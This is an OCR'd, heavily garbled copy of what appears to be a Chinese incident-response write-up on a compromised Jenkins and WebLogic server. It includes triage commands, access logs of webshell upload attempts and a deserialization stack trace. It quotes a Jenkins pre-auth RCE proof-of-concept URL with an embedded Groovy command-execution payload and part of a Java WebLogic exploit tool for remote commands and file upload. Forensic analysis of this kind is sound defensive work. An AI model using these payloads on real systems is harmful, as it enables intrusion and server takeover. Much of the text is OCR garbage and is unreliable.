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A problem occurred while processing the request. Please check pur bug tracker to see if a similar problem has already been reported. If it is already reported, please vote and
put a comment on It to let us gauge the Impact of the problem. If you think this is a new Issue, please file a new issue. When you file an issue, make sure to add the entire
stack trace, along with the version of Jenkins and relevant plugins. The users list might be also useful in understanding what has happened.

Stack trace

java.lang.UnsupportedClassVersionError: Orange has been compiled by a more recent version of the Java Runtime (class
file version 55.8), this version of the Java Runtime only recognizes class file versions up to 52.8
at java.lang.ClassLoader.defineClassl(Native Method)
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home BX THMEREFET —EEBRNAANHNEIE.

s O 45

netstat —anp

HAE 8080, 50000mAONIFAN, MBEZEERLEE.

K= 9 #r

RBE—THFEREBrootiR, RHEEANBRNR.

awk -F: '$3==0{print $1}' /etc/passwd

TERAF

REMTAPAMNERSSHARA#ITE R

root . jenkins cat /etc/passwd |grep —E “/bin/bash&”

ANELKSEEHER.
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hosts X9

more /etc/hosts

hosts X4 IE&E ,

& =h 15 53 tr

EMILEXRARAFZERNNERL, EREEAREARSHER], I THITRSHIE
#, *SEBMIHP RIMANTKkL ST,

systemctl list-unit-files |grep enabled

Bohiit & & .

PhEa<oH:

History

FEBLEBFE, top FEFRERREENREHITTEE, WRAFHEMNFELL
ok, WREHR —DBE, MJenkins EZHARIE., MJenkins BEHE,

JenkinsB &
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AHAS

m B B MM INFO org.eclipse.jetty.server.handler.ContextHandler doStar
Started w.@5efad0fe{Jenkins v2.138,/,file:///var/jenkins_home/war/,AVAILAELE}
{/var/jenkins home/war}
Started ServerConnector@730d42164{HTTP/1.1,[http/1.1]}{0.0.0.0:8080}

Started @1868ms

Winstone Servlet Engine w4.0 running: controlPort=disabled
Started initialization

Listed all plugins

Prepared all plugins
Started all plugins
Augmented all extensions

Loaded all jobs

Executing /var/jenkins_ home/init.groovy.d/init.groovy

Started Download metadata

Finished Download metadata. 39 ms

Refreshing org.springframework.web.context.support.StaticWebApplicationContext@6b604d2b: display
name [Root WebApplicationContext]; startup date [Wed Jul 08 02:20:53 UTC 2020]; root of context
hierarchy

Bean factory for application context
[org.springframework.web.context.support.StaticWebApplicationContext@6b604d2b]:
org.springframework.beans.factory.support.DefaultListableBeanFactory€baeddlic

5B XH
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BEDWH, REGERH Jenkins, BF configxml BBEEXHF 2, EME Jenkins fR &K

N 2.138,

Google

jenkis rce X
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Q% LBAF NAE OHE QwE B3 ey
HEIE) 288,000 £ER (AR 0.33 )

ETHNEUTEEAFENSGR: jenkins rce
MEREEE: jenkis rce

medium.com » jenkins-rce-poc-or-simple-pre-auth-remote-c... v EHEIEA
Jenkins RCE PoC or simple pre-auth remote code execution ...

Once upon a time, a friend of mine asked me a question — "Do you know any fresh RCE for the

Jenkins environment 7". | was informed already about some old ...

xz.aliyun.com» ... =
jenkins iR #Flrce o4fr- FoAEtX

20195 1H27H - Morange A#12.200% L T —jenkins KiEMrce FFi8, EM—EELES
HiZI\sE, —EHR1.16 KELME &2 Jenkins shSIE BT ...

www.Imxspace.com » 2019/09/15 » Jenkins-RCEIBE o #TiCE » utm... =

Jenkins RCE/®iE 2 #7LE - 11nk3r's blog

2019598150 - 0x01 RIS ZRIF M JenkinsiZiE B E T, BEEIDEkconsi¥ LifeJavaib ik
’EERB T Jenkins, EESEFFi{RorangeZRJenkinshy ...

0x03 @A - CliazLAlE - HTTPA A

github.com » orangetw » awesome-jenkins-rce-2019 ~ §HiFLtH

orangetw/awesome-jenkins-rce-2019: There is no ... - GitHub

awesome-jenkins-rce-2019. There is no pre-auth RCE in Jenkins since May 2017, but this is the
one! It chains CVE-2018-1000861, CVE-2019-1003005 and ...

https://mp.weixin.qq.com/s/y5QpXYedlILIgNeHIC4SNQ

TA

16/27



2020/7/27 2 A7 8 2 ““ T R g g

awesome-jenkins-rce-2019

There is no pre-auth RCE in Jenkins since May 2017, but this is the one!

It chains CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 to a more reliable and elegant pre-auth remote
code execution!

Affect list

* ANONYMOUS_READ disable

o Jenkins version < 2.138

+ ANONYMOUS_READ enable(or with a normal user account)

o Jenkins build time < 2019-01-28

BT Google#EMMN KA, KMZRAEKXKA, F A CVE-2018-1000861 ,
CVE-2019-1003005 fl CVE-2019-1003029 A& getshell, ZEFRSZZNIE.,

Jenkinsitf2EamSH1TIKEA (CVE-2018-1000861)

Jenkins {£  Stapler tEZ2FH &, HEATFAFP @ URL PATH R — IR public BiE.
HTFXTEREEZEMES, WEEUME LN PATH RINIT— LN Java B

3£0

BEXNRER, BMNOATUKIEZTEHANBNFERE., EFEmENME ST Groovy
EEMARAENBFRAURTERSGS: JenklnSE/"‘mﬁF‘IﬂﬁGroovy‘ﬁﬁ%ﬁ‘ﬂﬁ"ﬁﬁiﬁ&%
BEHEIR, NEREZZENVEN, WEEYJLUET Meta-Programming A, E
EXTTENHTEETS. SEHIE:

http://blog.orange.tw/2019/01/hacking-jenkins—-part-1-play-with-dynamic-r
http://blog.orange.tw/2019/02/abusing—-meta—-programming-for—-unauthenticate
https://0xdf.gitlab.i10/2019/02/27/playing-with-jenkins—rce-vulnerability

£ @orangetw ZHHMpoc, EEW FIBEXREIARINAITHS:

http://*.%.%.1:8080/securityRealm/user/admin/descriptorByName/org.jenkin:
?sandbox=true
&value=public class x {
public x(){
“"touch /tmp/tmp".execute()
}
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"R XA

EXXAIinux RSB[BEEWeb BHE, RAZWRHUARSRFNLE, EREASHFRE
B, E 406 RBEAN, BNXERISHBAEELERNTEYNRKR. BEHNYX
28 # AT R .

REHERIPEITWT:

[root@bogon 222]# awk '{print $1}' 2.txt |sort |uniq
3 192.1%4.221.137
42 223.201.0:,28%
21 223.201.%,.133
21 42.56.232.11%
33 47.90.3:.120

WEHEHIP

https://mp.weixin.qq.com/s/y5QpXYedIlLJgNeHIC4SNQ 19/27



2020/7/27

[root@bogon 222]# awk *{print $1}' asp2.txt |sort |uniq -c |sort -nr

2728
1369
1369
516
387
358
330
308
267
258
258
258
257
250
204
144
129
129
129
129
129
129
129
129
129
101
94
94
91
91
61
60

223.20).4.112
42.56.:%.11¢
223.281 . .1
121‘58‘I|nw'l-
23.235. 11,11
192.154. 70111}
218.93. 1.1
132.232 15, _»id
115'4?‘l|Ii'-l
156.235.1K .1
121.58. 404" 4
103.51.05" .14
154.85.§§7.171
23.235. 11151
218.60. 80§}
211.159.1 v
45.199, 10K.4+
45.199.111.1%
45.199. 00 .0100
43.248." 1
219.235 2 '"H
156.235.1k: .1
156.232.%11. M4
121.58.r*. 11
121.58. % _ &%
140,143, 1i0. bis
119.29. 11,11}
116.196.1°1.7i¥
218.60.~1 1™
218.60.. s 1)
211.159. 1.8
122.114. 00 _j48

FERSRBEE:
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2018-08-20 15:24:13

2016-04-15 18:34:07

2015-11-26 04:36:17

ERBREESES, RINEERLR

104
04:
:04:
104:
04:
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04:
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a3
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33
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1M

.

35
36
36
36
36
36
36
16
16
16
17
17
17
17
17
17
17
17
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18
18
18
18
18
18

ED
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+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]

+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
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. T-7.T-0 |

jsp
jsp
jsp
15P
jsp
isp
jsp
1sp
jsp

HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.

"POST //1111.jsp HTTP/1.1"

"POST //1111.jsp HTTP/1.1"

"POST //1111.jsp HTTP/1.1"

"POST //a.jsp HTTP/1.1" 405
“POST //a.jsp HTTP/1.1" 405
"POST //a.jsp HTTP/1.1" 405
"POST //11111.jsp HTTP/1.1"
"POST //11111.jsp HTTP/1.1"
"POST //11111.jsp HTTP/1.1"
"POST //bak.jsp HTTP/1.1" 405 43
"POST //bak.jsp HTTP/1.1" 405 43
"POST //bak.jsp HTTP/1.1" 405 43

MAACT findaw 4 UTTARA/M 19 AAE A

HIRAE

[root@bogon 222]# more access.log0ee28 |grep jsp

.12 - - | =
- 122 - }:: -
n 122 - = o

1

H BN R-122 - - wa mom

ol &

ol &

nIsF

ol 5

aiE B

17:08:18 +0880] "PUT /indexwebd.jsp/ HTTP/1.1" 4085 42
M5:46:11 +0800] “GET /uddi/st KghHGpv3.jsp HTTP/1.1" 404 2075
15:46:11 +8808] "GET /uddiexplorer/st KghHGpv3.jsp HTTP/1.1" 484 20875

.:15:46:21 +0800] "GET /uddi/st SRiWWEo6.jsp HTTP/1.1" 484 2075

weblogic BHIRS B HE:
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405
405
405
1"
1"
1"
1H
1'
1"
1"
1l|
1"
405
405
405
43
43
43

"POST //a.jsp HTTP/1.1" 405 43
"POST //11111.jsp HTTP/1.1" 405 4!
"POST //11111.jsp HTTP/1.1" 405 4!
"POST //11111.jsp HTTP/1.1" 405 4!
"POST //bak.jsp HTTP/1.1"
"POST //bak.jsp HTTP/1.1"
"POST //bak.jsp HTTP/1.1"
"POST //is/test.
"POST //is/test.
"POST //1s/test.
"POST //is.test.
"POST //is.test.
"POST //is.test.
"POST //vaf/vaf.
"POST //vaf/vaf.
"POST //vaf/vaf.

43
43
43
405
405
405
405
405
405
405
405
405
43
43
43

-~ - A N - . - "

405 43
405 43
405 43
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D weblogic ITHIRZZHE, KFUMBRRFIAREBEELIBVIITEE.,

weblogic.rjvm.t3.MuxableSocketT3.dispatch 3£

f#di< = 4:19:08 PM CST> <Error> <RJVM> <webadml> <AdminServer> <ExecuteThrs
org.apache.commons.collections.FunctorException: InvokerTransformer: The method ‘nes
org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newl
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerT:
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedT:
at org.apache.commons.collections.map.TransformedMap.checkSetValue (TransformedMag
at org.apache.commons.collections.map.AbstractInputCheckedMapDecoratorSMapEntry.:
at sun.reflect.annotation.AnnotationInvocationHandler.readObject (AnnotationInvoc:
at sun.reflect.NativeMethodAccessorImpl.invokeO (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.:
at java.lang.reflect.Method.invoke (Method.java:606)
at java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1017)
at java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1893)
at java.ioc.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1798)
at java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1350)
at java.io.ObjectInputStream.readObject (ObjectInputStream.java:370)
at weblogic.rjvm.InboundMsgAbbrev.readObject (InboundMsgAbbrev. java:€7)
at weblogic.rjvm.InboundMsgAbbrev.read (InboundMsgAbbrev.java:39)
at webloglc rjvm.HanbbrevJUMCcnnection reastgAhbrevs{MaghbbrevJVHCnnnectlon jar

at webloqic.sacket.Sccketnuxer.readReadySocketOnce(Socketﬂuxer java: 9701
at weblogic.socket.SocketMuxer.readReadySocket (SocketMuxer.java:907)
at weblogic.socket.NIOSocketMuxer.process (NIOSocketMuxer.java:495)
at weblogic.socket.NIOSocketMuxer.processSockets (NIOSocketMuxer.java:461)
at weblogic.socket.SocketReaderRequest.run (SocketReaderRequest.java:30)
at weblogic.socket.SocketReaderRequest.execute (SocketReaderRequest.java:43)
at weblogic.kernel.ExecuteThread.execute (ExecuteThread.java:147)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)
Caused By: java.lang.reflect.InvocationTargetException

java.io.ObjectlnputStream.readObject 3£

i T T e I L B T e T . o T T e T T e el

at java.io.ObjectStreamClass.invokeReadObject (ObjectStrean
at java.io.ObjectInputStream.readSerialData (CbjectInputStz
& java.jo.0bie o S a1 eadOrdinsg Ob-ie Ob-ie stell
: io.Ol jectO (ObjectInputStrean
- VA . W = L] = =l UL = wie = LV L] =Tel

at weblogic.rjvm. InboundMsgAbbrev readObject(InboundM3gAbk
at weblogic.rjvm.InboundMsgAbbrev.read (InboundMsgAbbrev. je
at weblogic.rivm.MsgAbbrevJVMConnection.readMsaAbbrevs (Msc

[ B 918 & 17 XX
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weblogic.rjvm.t3.MuxableSocketT3.dispatch (MuxableSocketT3.java:489)
weblogic.socket.BaseAbstractMuxableSocket.dispatch (BaseRbstractMuxableSoc
weblogic.socket.SocketMuxer.readReadySocketOnce (SocketMuxer.java: 970)
weblogic.socket.SocketMuxer.readReadySocket (SocketMuxer.java:907)
weblogic.socket .NIOSocketMuxer.process (NIOSocketMuxer. java:495)
weblogic.socket .NIOSocketMuxer.processSockets (NIOSocketMuxer. java:461l)
weblogic.socket.SocketReaderRequest.run (SocketReaderRequest.java:30)
weblogic.socket.SocketReaderRequest.execute (SocketReaderRequest.java:43)
weblogic.kernel .ExecuteThread.execute (ExecuteThread.java:147)
weblogic.kernel .ExecuteThread. run (Exscuislhisad—Javallo)

By: java.io.FileNotFoundException: Jjc: fw1nd0ws/tempfﬂ3y5ec tmp | (No such £
java.io.FileOutputStream.open(Native Method)
java.io.FileOutputStream.<init> (FileOutputStream. java:221)
java.io.FileOutputStream.<init> (FileOutputStream. java:110)
sun.reflect.NativeConstructorAccessorImpl . .newInstanceO (Native Method)

EMEN—Texp®BF, NFAREREZBEEBRXLIFIE,
Mi# 9%3%: http://polaris—-lab.com/index.php/archives/98/

W 4 weblogic RF 5L exp X 14,

public class JavaExp {

private static String remoteWindowsPath = "/c:/windows/temp/HIYSEE. tmp" ;
private static String remoteLinuxPath = "/tmp/H3ySec.tmp";
private static String Notices = "
« “F: \n
"1.—Aiga ST \n"
"Bl¥: java exp.jar 127.06.0.1 7801 'net user'\n"
"2 X Lf\n"
"BiF:java exp.jar 127.0.0.1 7001 upload 'FEMIZHFENER " 'IiE BRI IFEHE

+

+

+

+

2" \n";
private static RemoteObject remote;
public static void main(S5tring[] args) throws NamingException {
if(args.length <3){
System.out.println("S#EER! ! \n");
System.out.println(Notices);
System.exit(@);

String host = args]

String port = ar

3
String order = args[2]; g

| 2\Desktop> python?2 . \22.py

cend reques t 1 ‘load successful, recv

30510 i 001 is wvul CVE-201¢

EMNINEEREREN:
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Rf#Ef { SMRE B & w
v
LesVNTlE
¥
(weblogicﬁﬁyuﬂ
i
webshell &% M HEEarpic®, £EWMjenkins
‘ SiEIE ’ [jenkinsfp‘@mﬁ]

3

[ BIEAL I —( tomcatBRig ’
RN, REWETH
HEBhEM
RENETH
3 Y
[ RAEM ’ [ A ’
{ SEPR IR J

B -—BRNSBSNBEMNETANABRELREENNGTRERZ, WHGERBIHINERK
£, RV AMRSHFFE weblogic RFIIMLIFE. EEshell KW, WEHEEEZST
HEERIELRIEPR RN T HARITHT M jenkins RS, BT jenkins RS KET A
EEEN
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./

e hNE T{Fic%

B Jenkins AREIRMRA, NKFHITEE. BRIBBANRIRENDLHNE RN
BRi5E ., weblogic #ZHIRS 2, RINRARERBERRAANSL N,

BEDH

1. lE weblogic RARNZMIIEAH, ANXABjenkinsiRSZIHEMIR, FN{ERKE
TERERA—B, REIXReHEH, KREANELSER.
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2. weblogic REXNMAEIPH 10.10.x.x , BRI EBHEMNXFHRE 80,

7001w A, 22imORAEBIAERILIE,
3. Jenkins RBMENAAMRS 2, REFHLEHT .
4. RETKSIEE,
5. NZEZEBRERE.,
6. hEMLTBEFEFLBERRIL,
ERNESESR.
8. BEIIIIER .
9. Jenkins HEIEE
10. REEEEREFEANEE,
M. £8IDSiLk, BEIAGRHFAEBE, XKEEBIREE

SUREEREOBHIIERRASE,

1. ZEFARMULSHANZEAESMAIBIGMRBHOSFERIR.
2. RAAMBRERIR, RIFXFEZHTHE.

el

https://mp.weixin.qq.com/s/y5QpXYedIlLJgNeHIC4SNQ

8080 ,

 IMEEMAMERBRS BERE
weblogic R FHHKIRHE. MRFEIARERIANDO, ANMERX Jenkins # 17T

Wi, 3R
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MEER THHE

PEIMARE, APXRESE, FFERFR

REZHRXE B UF7SSERA
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